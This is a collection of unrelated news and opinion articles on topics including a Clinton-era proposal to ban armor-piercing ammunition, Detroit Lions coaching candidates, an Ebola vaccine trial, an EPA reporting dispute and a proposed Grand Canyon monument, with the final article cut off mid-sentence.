forgive those who wish us gone. Then, when we find someone who will accept us—“heresy” and all, let’s embrace and learn from them.  This article was originally posted at AndyGill.org.
-Clinton Calls for Ban on Bullets That Pierce Body Armor : Gun control: The President, speaking in Chicago, cites those who have managed to circumvent laws barring 'cop killer' ammunition.  The President's campaign-like appearance came at a time when he is talking about anti-crime issues to strengthen his hold on the political middle and to preempt the attempts of his GOP presidential rivals. This month, in a striking break with tradition, the White House is spending $2.4 million to televise two campaign-style advertisements that emphasize Clinton's anti-crime credentials to audiences in California and other key electoral states.  But "if a bullet can rip through a bulletproof vest like a knife through hot butter, then it ought to be history," Clinton said. "We should ban it."  Standing on ground recently stained with the blood of fallen police officers, Clinton told an audience in the Austin neighborhood that "clever people" have figured out ways to make powerful ammunition that circumvents current laws to ban "cop killer" handgun ammunition.  CHICAGO — Seeking to enhance his claim to law-and-order issues, President Clinton traveled Friday to gang-scarred west Chicago to demand a ban on any handgun ammunition able to pierce bulletproof vests or other body armor.  Clinton appeared behind a brown-brick police precinct headquarters, only steps from the spot where a rookie policeman was killed March 5 in a gun battle with a teen-age gang.  Officer Daniel Doffyn, wearing a bulletproof vest and trying to apprehend one gang member, was hit repeatedly in the neck by bullets from another teen-ager's TEC-9 assault weapon. Another officer was badly wounded in the same shootout.  No manufacturer is now producing the kind of handgun ammunition that the law is designed to prohibit, officials acknowledged. But they asserted that history suggests there is every reason to believe manufacturers eventually will make such ammunition unless Congress acts to prevent it.  Current laws on "cop killer" bullets outlaw ammunition made of certain materials or having other specifications. But federal officials said that such "specification standards" are not sufficient, now that manufacturers are finding ways to make ammunition from other, more commonly found materials. As a result, they said, new standards, based on bullet performance, are needed.  "We're trying to think ahead," said Ronald K. Noble, Treasury undersecretary for enforcement, noting that manufacturers already have tried to find loopholes in the law banning "cop killer" ammunition by varying the design of their products.  Legislation drafted by the Clinton Administration calls on the Treasury secretary to try to develop performance standards that would ban any ammunition capable of piercing body armor.  Gun-control opponents are likely to fight the effort. They have argued that it will not be possible to develop standards that are uniform and clear.  A National Rifle Assn. spokesman said that there is no need to supplement the ban on "cop killer" bullets that has been in effect since 1986. Tom Wyld said that the ban "works flawlessly" and noted that FBI reports indicate no police officer has been killed since 1986 with a bullet capable of piercing protective armor.  Rep. Charles E. Schumer (D-N.Y.) sought in June to amend the then-pending anti-terrorism legislation to extend the ban on armor-piercing ammunition to cover any product that could pierce body armor. His amendment initially passed a House Judiciary subcommittee on a 16-14 vote but stalled when two GOP members switched their position.  *  Clinton also faces challenges from congressional Republicans to the 1994 ban on certain assault weapons that he backed and to his plans to have the federal government help fund the hiring of 100,000 additional police officers across the nation.
-Likely Candidates To Become The Lions Head Coach If Jim Caldwell Is Fired On Black Monday.  Whether you believe Detroit Lions head coach Jim Caldwell should be fired or not is not going to matter on Monday. He will be fired or he will not be fired. There have been rumors that the Miami Dolphins, Oakland Raiders, Denver Broncos, Cincinnati Bengals, Cleveland Browns, Houston Texans, Indianapolis Colts, New York Giants, Arizona Cardinals, Chicago Bears, Tennesee Titans, and Tampa Bay Buccaneers could be looking for head coaches. Some of those have been confirmed and some denied, but we will not really know until Monday.  The NFL advisory committee gives teams a list of up and coming head coaching candidates every year. Just to help you form an opinion rapidly, I am going to profile the ten that have not been the Lions head coach (Jim Schwartz), or current Lions offensive coordinators (Jim Bob Cooter). I’ll start with the obvious candidates, and move to the more obscure as I go down the list.  Josh McDaniels  Josh McDaniels, the New England Patriots offensive coordinator has been rumored to be Bob Quinn‘s first choice since the Lions GM took the job. McDaniels was the son of a high school football coach, his father won the USA Today award for High School coach of the year in 1997. McDaniels was a high school quarterback but moved to wide receiver in college at John Carrol University. His coaching career began in 1999 as a graduate assistant with Nick Saban’s Michigan State Spartans. After a single season, he moved to Cleveland for two years and sold industrial plastics.  In 2001 McDaniels joined the Patriots as a personnel assistant, one season after Bob Quinn joined the team. While Quinn stayed in personnel, McDaniels moved on to coaching. In 2002 he became a defensive coaching assistant. He was promoted to quarterback coach in 2004. In 2005 he called the offensive plays for the team, but was not given the title of offensive coordinator. McDaniels got that promotion in 2006, and in 2007 he called the plays for an offense that scored 75 touchdowns and scored 589 points. For scale, only two teams are within 200 points of that total going into week 17 of the 2017 season. Leading the way are McDaniels’ Patriots with 432.  In 2009 McDaniels became the head coach of the Denver Broncos. He immediately alienated the team’s promising franchise quarterback, young (and still good) Jay Cutler, by trying to get him traded for Matt Cassel. McDaniels took over an 8-8 team, and destroyed it, the team was 3-9 when McDaniels was fired partway through his second season as a head coach. The team returned to mediocrity immediately after McDaniels was gone, going 8-8 in 2011.  McDaniels spent one season in St. Louis with the Rams before Steve Spagnuolo was fired, and McDaniels was allowed to leave. The Patriots immediately hired McDaniels back, their new offensive coordinator Bill O’Brien was leaving to take the head coaching position at Penn State. McDaniels helped the team win Super Bowls in 2012 and 2016 as their offensive coordinator. Ironically, with the Patriots, McDaniels has shown the ability to get the job done with any and all players he has been given. It is only his insistence on meddling with the personnel that did him in as a head coach. Rumors say that he would like to be active in that area again if he were hired. Bob Quinn would likely have to give up some authority to bring McDaniels in. McDaniels is widely regarded to be the top candidate for a vacancy as the Lions head coach.  The Patriots defensive coordinator was an interior offensive lineman at Rensselaer Polytechnic institute from 1992-95. He graduated with a bachelor of science in Aeronautical Engineering. In 1996 he remained at RPI as a grad assistant before taking a job at Hoffman Air and Filtration systems as an applications engineer. He turned down a six-figure salary with another firm in 1999 and instead took the defensive line coach job at Amhurst College.  In 2001 he became a grad assistant at Syracuse. It was 2004 when he joined the Patriots as an offensive coaching assistant. In 2005 he became an assistant offensive line coach. It was in 2005 that Patricia switched to the defensive side, serving as the linebackers coach. He began calling the Patriots defensive plays in 2010 but was not promoted to defensive coordinator until 2012. Detroit Lions Podcast contributor Jeff Risdon said on the podcast that people he has spoken to have told him that Patricia is the type of person who sees his players as game pieces.  Patricia would be the polar opposite of Jim Caldwell, who relies on his personal leadership to unite the team in times of trouble, and keep them humble when times are easy. Patricia is undoubtedly smart and capable enough tactically, the question is whether he can lead a team. His Roger Goodell clown shirt stepping off the team plane returning from the Superbowl in January of 2017 will cool his prospects with a lot of teams. His personal relationship with Bob Quinn will likely detyermin whether he becomes the next Lions head coach.  Mike Vrabel  Mike Vrabel was an Ohio State All American defensive end, who went in the third round of the 1997 draft. He was drafted by the Steelers, recorded seven sacks in four years before he found his way to the Patriots in 2001. He won super bowls with the Patriots in 2002, 2004, and 2005. Vrabel was a 3-4 linebacker with inside/outside versatility. He had a career-high of 12.5 sacks and recorded multiple touchdowns as a goal-line tight end. in 2009 he was traded to the Chiefs along with Matt Cassel for the number 32 pick in the draft. He retired as a player in 2011.  Vrabel immediately started coaching linebackers at Ohio State. When Meyer took over the Buckeyes he moved Vrabel to the defensive line coach role. Vrabel got spectacular reviews at the collegiate level as a coach. He moved up to the NFL as the Houston Texans Linebacker coach under defensive coordinator Romeo Crennel. In 2017 Crennel moved to an assistant head coach position with the Texans, and Vrabel became the team’s defensive coordinator.  The Texans were decimated with injuries this season, and their defensive performance regressed significantly. The 2016 Texans, largely without J. J. Watt, allowed the fewest yards per game in the NFL. In 2017 they were number 23. The Texans have 20 players on IR going into week 17. That regression, however, does give some analysts, including last week’s podcast co-host Dan Orlovsky, a reason to pause and take a beat. Vrabel may need some more seasoning before taking the next step in his career. He is a long shot to be the Lions head coach in 2018.  Pat Shurmur  Pat Shurmur was a center at Michigan State. He was a co-captain of the Spartans team that defeated the USC Trojans in the 1988 Rose Bowl. Shurmur joined the NFL coaching ranks in 1999 after nine years coaching at lower levels. He was the Eagles tight ends and offensive line coach. In 2002 he became the quarterback coach in Philadelphia and oversaw the best years of Donovan McNabb’s career. He left the Eagles in 2009, for the Rams offensive coordinator job under head coach Steve Spagnuolo.  Two years later Shurmur hopped on board the perpetual train wreck that is the Cleveland Browns. Shurmur was given the task of making Colt McCoy a franchise quarterback. Despite that handicap, Shurmur won nine games in two seasons, a miracle in Cleveland. The Jimmy Haslam era began with the first of his almost yearly housecleanings. GM Tom Heckert was fired and Shurmur went with him.  He landed as Chip Kelly’s offensive coordinator in 2013. He was made the Eagles interim head coach after Kelly was fired. The 2014 illusion that Nick Foles was actually a good quarterback was the work of Mr. Pat Shurmur. The only game Shurmur coached for the Eagles as their head coach was a 35-30 win over the Giants, for second place in the NFC East. Shurmur was narrowly beaten out for the Eagles head coaching job by Doug Pederson.  On January 25, 2016, Pat Shurmur became the Vikings tight end coach. On November 2, 2016, he was named the Vikings offensive coordinator in the wake of Norv Turner’s bizarre midseason resignation. The Vikings finished the year 8-8 despite a season that included their best player missing 13 games, and averaging 1.9 yards per carry in the three he did play, playing their fourth and fifth option at offensive tackle, and having their starting quarterback go down with a career-threatening non-contact injury.  Shurmur was confirmed as the permanent choice as the team’s offensive coordinator after the 2016 season ended. He has cobbled together a perfectly functional offense despite losing his starting quarterback, running back, and a patchwork offensive line from week to week. The offense has not been the defining quality of the Vikings in 2016, but Shurmur’s ability to use the pieces he is given will likely make him an attractive head coaching candidate in the 2018 hiring cycle. Schurmur has the pedigree to become the Lions head coach in 2018.  Dan Campbell  Dan Campbell was a high School tailback that moved to tight end at Texas A&M. He went to the Giants in round three of the 2000 draft and started immediately. He primarily served as a blocker and he appeared in Superbowl XXXV. In 2003 he moved on to the Cowboys under Bill Parcells and offensive coordinator Sean Payton. He ended up the number two tight end behind Jason Whitten, and the highlight of his time in Dallas was missing a mere ten days of practice after an appendectomy in 2005. He joined the Lions in 2006 and put up career-high receiving numbers with 308 yards and four touchdowns. In 2007 and 2008 Campbell was on IR before the month of September ended. He was released in February of 2009.  Campbell was immediately signed by Payton in New Orleans. It always speaks well of a player’s leadership qualities when a former coach brings them back late in their career. Campbell’s body didn’t even make it through August with the Saints and he retired shortly after receiving his Superbowl ring, despite not playing a down for the Saints during the regular season.  Campbell became the Dolphins tight ends coach in 2011 after a year as a coaching intern with the team. Charles Clay developed as a player under Campbell’s tutelage. In 2015, when Joe Philbin was fired early in the season, Campbell took over a locker room that was fractured, and a roster that was terrible. He took the 1-3 Dolphins to a 6-10 record, moderately improving the team’s performance. Campbell was immediately hired by his former coach Sean Payton when the Dolphins let Campbell go. He has been the Saints assistant head coach and tight end coach since 2016.  The 2015 Dolphins started with two impressive victories under Campbell, blowing out the Titans and Texans with a combined score of 82-36. The success, however, was not sustainable. The Dolphins told the press that Campbell was their second choice after the man they hired, Adam Gase, but they were concerned that he had never been more than a tight ends coach. Campbell requested his release rather than serving under head coach Adam Gase.  That was not an unreasonable concern, and it is still true. The assistant head coach title Campbell holds in New Orleans is not a substitute for in-game authority and experience. There have been coaches that have seen success without serving as a coordinator, the San Diego Chargers rookie head coach Anthony Lynn was a running backs coach and has led his team to an 8-7 record going into week 17. Campbell’s chances at a head coaching job have likely been served well by Lynn’s success. Campbell is not a front-runner to be the Lions head coach in 2018.  Matt Nagy  Matt Nagy was a quarterback for the University of Delaware Fightin’ Blue Hens. After his graduation, he joined the New York Dragons of the AFL. He also spent time with the Carolina Cobras, the Georgia Force, and the Columbus Destroyers. He won an Arena Bowl in 2005 with the Force and lost one in 2007 with the Destroyers.  Nagy joined the Eagles on a coaching internship in 2009. After injuries to their roster, the team tried to sign him as a player, but the NFL disapproved the contract, presumably because they do not want teams stashing players as coaching interns. In 2010 he was promoted to a coaching assistant position, and in 2011 to a quality control coaching spot. The 2013 season saw Nagy in Kansas City as the Chief’s quarterbacks coach. he oversaw the revitalization of Alex Smith’s career. He became the Chiefs offensive coordinator but did not take over playcalling duties until December of this season.  Nagy seems like a long shot to grab a head coaching job, with his limited experience as a play-caller. The Chiefs would also certainly like to keep the coach who has been shepherding Patrick Mahomes through his rookie campaign. It is not inconceivable that the Chiefs will give Nagy a sizable raise in order to hold on to him for at least another season. I do not believe Nagy will be the Lions head coach in 2018.  Steve Wilks  Steve Wilks was a defensive back at Appalachian State from 1987-1991. His playing career consisted of a single season with the Charlotte Rage of the AFL as a wide receiver, defensive back, and kick returner. he pops up on the documented coaching radar as the defensive coordinator at Johnson C Smith University in 1995. In 1997 he moved on to the defensive coordinator at Savannah State and took over the head coaching position in 1999. One year later he was the defensive backs coach at Illinois State, and he followed that with a one year stint in the same position back at Appalachian State. He followed that with a two-year stint as the defensive coordinator at East Tennessee State. In 2004 he became the defensive backs coach at Notre Dame. He took the same position at Washington in 2005.  Wilks entered the NFL in 2006 as the Bears defensive backs coach. He joined the Chargers staff at the same position in 2009 and the Panthers in 2012. in 2015 he was promoted to assistant head coach in addition to his defensive back coach responsibilities. In 2016 he took over the defensive coordinator duties for the Panthers. After a tumultuous 2016 campaign, the Panthers defense has returned to form. The Panthers defense ranks seventh in yards allowed and eleventh in points allowed going into the final week of the 2017 season. Wilks would be a solid choice to be the Lions head coach in 2018.  George Edwards  George Edwards played linebacker for Duke. He was a two-year special teams captain and earned All ACC recognition. He began his career on the sideline at Florida as a coaching assistant in 1991. The 1992 season saw Edwards make his way to Appalachian State in the same role. In 1996 he joined Duke as a coaching assistant, and in 1997 he was a tutor for Richard Seymour and Marcus Stroud among other duties at Georgia.  In 1998 Edwards became the linebacker coach in Dallas, a role he held until joining Washington as the assistant defensive coordinator and linebacker coach in 2002. He took over the defensive coordinator role full time in 2003. Washington cleaned house in 2004 and Edwards took a job as the linebacker coach in Cleveland. The Browns cleaned house in 2005 and Edwards found his stride as the linebacker coach in Miami under Nick Saban. When Saban bolted for Alabama after the 2006 season, Edwards kept his job under new head coach Cam Cameron, and then again the next year under new head coach Tony Sparano.  In 2010 Edwards became the defensive coordinator of the Buffalo Bills under head coach Chan Gailey, but two years later he was back in Miami as the linebackers coach. in 2014 he got the defensive coordinator job in Minnesota but does not call plays, a duty that is held by head coach Mike Zimmer, one of the NFL’s keenest defensive minds. Edwards will undoubtedly get a lot of interviews, but his inclusion on this list is a bit baffling.  That he has remained employed in the NFL consistently for two decades is impressive, but that is not the greatest accomplishment a head coach should have. The Vikings defense is incredible, but it is also clearly Mike Zimmer’s baby. It would not be the first time a Vikings Defensive coordinator nobody expected to actually be hired got a job as a team’s head coach. Nobody thought Mike Tomlin had a prayer in 2007 either. George Edwards would be a surprising choice to be the Lions head coach in 2018.  Dave Toub  Dave Toub was an offensive lineman for Springfield college in 1980 and 81. He moved on to the University of Texas-El Paso for the 1983 and 84 seasons. He earned all WAC honors twice. Toub was drafted by the Eagles in the ninth round of the draft but never made an NFL roster. He attended one training camp with the Eagles, and two with the Rams. His coaching career began as a graduate assistant at UTEP in 1986.  In 1987 Toub became the strength and conditioning coach at UTEP. He then moved on to the University of Missouri where he served as the strength and conditioning coach for nine seasons. Andy Reid was the offensive line coach there from 1989 to 1991. Toub finished his time with Missouri as the defensive line coach for three seasons. In 2001 he entered the NFL as a special teams and quality control coach with the Eagles. In 2004 he became the Chicago Bears special teams coordinator. He was voted special teams coach of the year by the NFL’s coaches in 2007, a season where he sent a returner, gunner, and punter to the pro bowl.  Toub interviewed for the Miami Dolphins head coach position in 2011, and then for the 2013 Bears opening after Lovie Smith was fired, but was never hired. The Bears wanted to retain Toub but he moved on when they chose Mark Trestman as their head coach. Toub reunited with Andy Reid in Kansas City and the Chiefs special teams units have been among the league’s best. It is rare but not unheard of for a special teams coordinator to become a head coach. John Harbaugh of the Baltimore Ravens is among the league’s best head coaches and came up in the league as a special teams coach. Toub is a long shot candidate to be the Lions head coach in 2018, but crazier things have happened.  John DeFilippo  John DeFilippo was a quarterback at James Madison University from 1996 to 1999. he did coaching internships in the summers of 1997 and 1998 with the Panthers and Colts respectively. In the year 2000, immediately following his playing career, DeFilippo landed the quarterback coach job at Fordham. DeFilippo took a grad assistant spot at Notre Dame in 2001. He moved on to the quarterback coach job at Columbia 2003.  In 2005 DeFilippo joined Tom Coughlin’s Giants staff as a quality control coach. In 2007 he joined the Lane Kiffin coached Raiders staff as quarterbacks coach. DeFilippo was retained after Kiffin was under new head coach Tom Cable. Defillipo joined Rex Ryan’s Jets staff in 2009 in the same role but lasted only one year. In 2010 He took a job as the San Jose State quarterback coach and was promoted to the offensive coordinator position in 2011.  DeFilippo got back into the NFL in 2012 as the Raiders quarterbacks coach. He got his first and only coordinator job at the NFL level under head coach Mike Pettine. The entire management and coaching staff were fired after that season by owner Jimmy Haslam, but Defilippo was brought on board in Philadelphia to work with rookie quarterback Carson Wentz. The play of Wentz is the primary reason that DeFilippo is a candidate for head coaching jobs, and it is likely that he will find a position with a team that is looking to bring a young quarterback into the fold. Defilippo does not seem to be a likely candidate for the Detroit Lions head coach position if it becomes available.  Bill O’Brien  Bill O’Brien is the best head coach that might be fired in 2018. He played linebacker and defensive end for the Brown Bears from 1990-1992. in 1993 he coached tight ends at his alma-matter. He moved to coaching inside linebackers a year later before moving on to Georgia Tech as a graduate assistant from 1995-1997. In 1998 he became the Yellowjackets running backs coach. He took on the offensive coordinator and quarterbacks coach role in 2001 and added assistant head coaching duties in 2002. in 2003 he left Georgia Tech for a role as the running backs coach at the University of Maryland. in 2005 O’Brien became the offensive coordinator at Duke, where he coached former Detroit Lions Thad Lewis.  In 2007 O’Brien made the jump to the NFL, taking a job with the Patriots as an offensive assistant. In 2008 he took on playcalling and quarterback coach duties after Josh McDaniels left to take the Denver Broncos head coaching position. O’Brien claimed the offensive coordinator title in 2011 and helped the Patriots make it to Superbowl XLVI. O  O’Brien took the Penn State head coaching job in 2012, replacing legendary head coach Joe Paterno. In July of that year, we all learned of the Jerry Sandusky scandal and Penn State was harshly punished. O’Brien interviewed for head coaching positions with the Eagles and Browns in 2013 but decided to remain at Penn State. He Took the Texans head coaching job in 2014.  O’Brien took over a 2-14 Texans team and took them to a 9-7 record in his first season despite a lack of contribution from first-round pick Jadeveon Clowney. He repeated a 9-7 record in 2015 and 2016. O’Brien was able to string together three winning seasons with Ryan Fitzpatrick, Case Keenum, Ryan Mallett, Bryan Hoyer, T. J. Yates, Brandon Weeden, Brock Osweiler, and Tom Savage at quarterback.  In 2017, however, the Texans ended the year with 20 players on injured reserve, including rookie phenom Deshaun Watson, and 2/3 of the team’s elite pass rushers J. J. Watt and Whitney Mercilus. The Texans are 4-11 and the relationship between O’Brien and Texans general manager Rick Smith has become toxic according to Aaron Wilson of the Houston Chronicle. If O’Brien were to come available, he would be an ideal candidate to become the Lions head coach in 2018.
-The first commercial for the [email protected] television anime series aired in Japan on Friday.  The story follows a hikikomori (shut-in) named Sasami Tsukuyomi (voiced by Kana Asumi) who is unmotivated about even changing clothes or eating. Her brother Kamiomi (Houchu Ohtsuka) takes care of her, even though she despises his slave-like nature. Sasami spends her days viewing the outside world via a "Brother Surveillance Tool" on her computer. In the outside world, the three beautiful Yagami sisters (played by Chiwa Saito, Kana Hanazawa, and Ai Nonaka) and Sasami's brother are in the middle of relationships worthy of a romantic comedy.  Akiyuki Shinbo is teaming up again with his Madoka Magica and Bakemonogatari studio SHAFT to make the television anime of Akira's [email protected] light novel series. Katsuhiko Takayama (And Yet the Town Moves, Love, Election & Chocolate ) is in charge of the scripts, and Hiroki Harada (Romeo × Juliet, Yu-Gi-Oh! Zexal) is designing the characters.  The series will premiere on the TBS and BS-TBS channels in Japan on January 10.
-New Ebola Vaccine Has '100 Percent' Effectiveness In Early Results  Enlarge this image toggle caption Sean Hawkey/Sean Hawkey Sean Hawkey/Sean Hawkey  In a development that could change the way the deadly Ebola disease is fought, researchers have announced promising results of a new vaccine's trial in Guinea, one of several countries affected by a historic outbreak in West Africa.  "The estimated vaccine efficacy was 100 percent," a team of researchers say.  The trial was called Ebola ça Suffit — French for "Ebola that's enough." Funded by the World Health Organization and other groups, it started in April and ended on July 20, relying on participants who consented to be part of the trial. The more than 20 researchers who took part published their findings in The Lancet medical journal on Friday.  "The current data basically tells us that the vaccine works to protect people against Ebola," says Dr. Bertrand Draguez, medical director of Médecins Sans Frontières, which took part in the research along with WHO and authorities in Guinea.  Draguez and other experts are heartened by the new results — but they also warn that as testing expands, the effectiveness rate of the vaccine will likely fall below 100 percent. The trial used the "ring vaccination" method, in which all suspected contacts receive treatment. No placebos were administered.  "Even if the sample size is quite small and more research and analysis is needed," Draguez says, "the enormity of the public health emergency should lead us to continue using this vaccine right now to protect those who might get exposed to the disease: contacts of infected patients and front-line workers."  The trial vaccine, formally called rVSV-ZEBOV but more commonly known as VSV-EBOV, was supplied by the pharmaceutical firm Merck Sharp & Dohme. The drug was initially developed by Canada's Public Health Agency and was tested as early as 2011.  To conduct the Guinea trial, researchers used newly confirmed Ebola cases to identify clusters of people with whom the patients had contact. On a random basis, those clusters then received the vaccine either immediately or after a 21-day delay.  "In the immediate vaccination group, there were no cases of Ebola virus disease with symptom onset at least 10 days after randomization," the researchers say, "whereas in the delayed vaccination group there were 16 cases of Ebola virus disease from seven clusters, showing a vaccine efficacy of 100 percent."  Researchers say that for both groups — those who got the vaccine immediately and those who received it after a delay — no new Ebola cases were diagnosed starting at six days after vaccination.  The randomization phase of the trial was stopped this week, WHO says, "to allow for all people at risk to receive the vaccine immediately." It will also now include younger people than the adults involved in the trial.  toggle caption Sean Hawkey/Sean Hawkey  The first person to receive the trial vaccine in Guinea was Mohamed Soumah, 27. He tells WHO:  "It wasn't easy. People in the village said that the injection was to kill me. I was afraid. I was the first one to be injected, the very first, here in my village on 23 March 2015. I've been monitored for 3 months and I've had no problems. The last follow-up, 84 days after the vaccination, was all clear."  The vaccine is administered via a shot to the upper arm. The researchers who ran the trial say their results suggest a single injection is highly effective, and that protection against Ebola can be established quickly. They're also still analyzing possible adverse reactions to the drug.  The interim findings on the Guinea trial are the latest to bolster the belief that VSV-EBOV could be the drug Ebola-fighters have been waiting for. Earlier this year, it showed positive results in clinical trials at the Walter Reed Army Institute of Research and the National Institute of Allergy and Infectious Diseases.  A Walter Reed release about that study explained how the drug is derived:  "VSV-EBOV is based in part on a genetically engineered version of vesicular stomatitis virus, which primarily affects rodents, cattle, swine and horses. Human VSV infections are rare and mild. In the VSV-EBOV investigational vaccine, the gene for the outer protein of VSV replaces the same gene segment of the Zaire Ebola virus species."  Researchers in the Guinea trial say the number of new clusters of potential patients is falling, because the rate of new diagnoses in the country has dropped. The next immediate step, they say, is to continue the trial and vaccinate more people. Last Friday, Guinea's government and medical ethics groups approved that plan.
-Joe Scarborough on MSNBC. MSNBC Joe Scarborough on Wednesday cautioned President-elect Donald Trump against picking close advisers with little foreign policy experience for top administration posts.  The "Morning Joe" host said that Trump should pick "very boring, very middle-of-the-road" officials to serve in foreign-facing administration posts such as secretary of defense, secretary of state, and director of the National Security Agency.  "You don't get rookies for that. You don't get ideologues for that," Scarborough said.  Former New York City Mayor Rudy Giuliani and former United Nations Ambassador John Bolton are both rumored to be potential picks for secretary of state — options that Scarborough warned would set off a media firestorm and damage relationships abroad.  "Abroad, you can't lurch to a John Bolton," Scarborough said.  "You think the Steve Bannon appointment got negative press? You think that's bad? Pick Rudy Giuliani as your secretary of state or John Bolton as your secretary of state, and watch everything melt down internationally."  Scarborough specifically singled out Giuliani, citing a New York Times article detailing large payments Giuliani took from the Qatari government as well as a group on the state department's terror watch list.  "After the Hillary Clinton debacle on paid speeches and foreign interests, how could Rudy Giuliani ever be secretary of state?" Scarborough said.  "Is [Trump] going to call him 'Crooked Rudy' now?"  Watch the clip below, via MSNBC:
-Square Enix today released new World of Final Fantasy screenshots featuring the heroes Reynn and Lann as a mysterious woman named Enna Kros guides them into the world of Grymoire. Along the way, the siblings encounter notable characters, locations and monsters that will be familiar to Final Fantasy fans, including the legendary Lightning from Final Fantasy XIII and the town of Cornelia from the original Final Fantasy.  The new images showcase Mirages, powerful creatures that can turn the tide of any battle to aid Reynn and Lann. Players can take advantage of the game’s unique stacking mechanic to increase attack power and HP and unlock special abilities. Among the iconic Mirages are Shiva, Ramuh, Ifrit and Cerberus, ready to wipe out all enemies that oppose the duo. World of Final Fantasy also introduces train travel with the Cactuar Conductor for Reynn and Lann to journey across Grymoire.
-Yesterday I reported on an article in The Daily Caller that turned reality on its head by claiming that the EPA’s attempt to avoid hiring 230,000 new employees to administer greenhouse gas (GHG) emission permits was actually the EPA planning to hire those employees. As I pointed out, the article had enough major errors that it needed either significant corrections or a full retraction.  Today the executive editor of The Daily Caller, David Martosko, attempted to justify the original article in an editorial. However, Martosko’s failed defense of an indefensible article means that The Daily Caller now has two articles that are so filled with errors and misrepresentations that they should be corrected or retracted entirely.  Martosko correctly wrote that the effects of the EPA’s greenhouse gas regulations was more than the EPA expected. He also correctly wrote that the EPA wrote a tailoring rule that would be implemented in phases so that the impacts to the regulated entities could be minimized. He also correctly wrote that there is a federal court case pending about whether or not the EPA’s tailoring rule is legal with respect to the Clean Air Act. Unfortunately, everything else that Martosko wrote about the EPA’s tailoring rule, the illusionary 230,000 new EPA jobs, and the pending court case is either wrong or missing critical information.  Martosko wrote that the EPA would have to hire another 230,000 employees in order to regulate 6.1 million GHG emitters. Martosko neglected to mention that the EPA presented this as a choice in their court filing – either radically increase the size and budget of the EPA or deal with a permitting process that would lengthen from 6-10 months today to approximately 10 years, but within the EPA’s current budget and workforce.  Martosko wrote that the EPA “was in court to ask a court for permission” to implement the phased-in tailoring rule, and that the court case was “presumably the only way the EPA can avoid the $21 billion hiring spree….” This is simply false. As I mentioned yesterday, the EPA was challenged in federal court by multiple states’ Attorneys General and a host of industry groups. It’s those states and industry groups who are demanding that the EPA regulate according to a strict interpretation of the Clean Air Act, and it’s this strict interpretation that would force the EPA to hire more workers or lengthen the permitting process. So it’s not the EPA who is asking permission of the court, it’s the states’ Attorneys General who are challenging the EPA’s authority under the Clean Air Act.  Martosko wrote that the EPA’s tailoring rule “doesn’t seem to comply with the Clean Air Act” because the Act “doesn’t allow the government to pick and choose” who to regulate. This may well be true, but Martosko can’t know that – there’s a court case pending in the US Court of Appeals for the District of Columbia (#10-1073) that will decide this very question. Either Martosko has some unique portal to the future, or he’s prejudging the results of a federal lawsuit.  Martosko wrote that the EPA may find itself in an “all-or-nothing scenario” where it has to hire more regulators and the taxpayers have to pay the bill. Martosko has to know that he’s wrong about this too. As I mentioned above, the EPA could choose to extend the permitting process instead of hiring new workers. Or the EPA could hire some workers and not extend the permitting process quite as much. But there’s always another option – ask Congress for relief from the strict rules of the Clean Air Act. As I pointed out yesterday, this is one of the two likely reasons that industry wants the EPA to strictly enforce GHG emissions at the legal limit set out in the Clean Air Act – to force the EPA to ask a skeptical Congress for changes to the Clean Air Act, which would open up the entire Act to revision by a regulation-unfriendly Congress.  Martosko wrote that the EPA is “committed to regulating everyone – at the full $21 billion cost – at some point down the road.” While true to some extent, Martosko neglects to mention a critical point made by the EPA in their court brief – the EPA expects to learn enough about how to regulate smaller emitters during the phase-in process that the EPA will not need to spend that much money, hire that many people, and/or add that much time to the permitting process. Which is a point that Martosko, and Boyle in his original article on Monday, would have known if they had, in fact, written a story that was, as Martosko claimed, “well reported, carefully sourced, and solidly written.” One out of three isn’t so bad, I guess.  Today, Martosko committed the same sins of omission and uttered the same objectively false claims that Boyle did in the original article on Monday. As a result The Daily Caller now has a credibility problem that is twice as large as it was – two articles that require major corrections or retractions instead of just one.  The Daily Caller has an opportunity to show both its readers and its critics that it has journalistic integrity by correcting or retracting both articles. Or not.
-Last month, two Flagstaff businessmen traveled to Washington, D.C., to show their support for the proposed Greater Grand Canyon National Heritage Monument. “We went to Washington because usually it is the environmentalists who support this sort of thing. We wanted to show support from the business community,” said Robin Prema, owner of Speedi Car Wash, Super8 Motel on Old Route 66 and other properties around Flagstaff. “This is a different voice.”  Prema traveled with Ash Patel, CEO of Southwest Hospitality Management. Patel owns many hospitality businesses around Arizona, including the Flagstaff Holiday Inn Express. He is currently working on the new Hampton Inn and Suites and Fairfield Inn and Suites development on Country Club Drive.  “Our children are asking us to be more responsible and preserve natural areas for the citizens of the United States and the citizens of the world. The world has changed since I first came to Flagstaff in 1991. Uranium mining does no good. I don’t think there should be any uranium mining near the Grand Canyon,” explained Patel. “We need to protect not just the park, but around the park. What happens around the park, affects the park.”  “The Grand Canyon feeds the Northern Arizona economy. It is important to leave the Grand Canyon in its natural form rather than change it into a concrete jungle,” added Prema. Although the duo visited with lawmakers and administrators as person citizens, “We went with the support of the Asian American Hotel Owners Association (AAHOA) and the Flagstaff Lodging and Restaurant Association (FLRA),” explained Patel, a past Chairman of the Board of AAHOA.  Other business leaders are not in support of the proposed national monument. Stewart McDaniel, vice president of government affairs, Greater Flagstaff Chamber of Commerce points to two over-arching problems with the proposed 1.7 million-acre monument: losing state revenue and losing access to lands. “We can’t get tax money from federally-owned lands and we can’t control how the lands are used. In this proposed national monument, ranching and other actions will not be allowed. Ranchers are some of our best caretakers,” McDaniel said.  “We’re very thankful for the solid leadership of Congressman Paul Gosar, whose focus defeated Raul Grijalva’s Grand Canyon National Monument proposal, an enormous public land grab with huge consequences,” said Julie Pastrick, CEO of the Greater Flagstaff Chamber. The proposed monument is the size of the state of Delaware. President Obama could designate the area a national monument under the Antiquities Act.  In mid-July, Gosar defeated Grijalva’s amendment that would have removed a Gosar-sponsored provision that prohibits funding to make a presidential declaration of a national monument where there is significant local opposition. A recent poll found that 71.6 percent of Arizonans are opposed to the proposed administrative designation of 1.7 million acres in Northern Arizona as a National Monument. The poll was conducted by Coleman Dahm and Associates for Americans for Responsible Recreational Access.  Americans for Responsible Recreational Access Executive Director Larry Smith said in a press release, “This new poll underscores what we really already knew – the people of Arizona want to protect public lands, but they want to have a meaningful say in how the lands are protected. Unilateral action by the administration takes away their voice and creates resentment. The administration should listen to the people and work collaboratively with them to manage these lands instead of imposing draconian restrictions to appease a narrow group of interests.”  Yet, proponents of the designation turn to another poll that says Arizonans are in favor of the monument. In a blog post on the Grand Canyon Trust website, Roger Clark, Grand Canyon Program Director states, “Eighty percent of 500 voters surveyed support the establishment of the Greater Grand Canyon National Heritage Monument. More than eight times as many voters strongly support the monument [58 percent] as 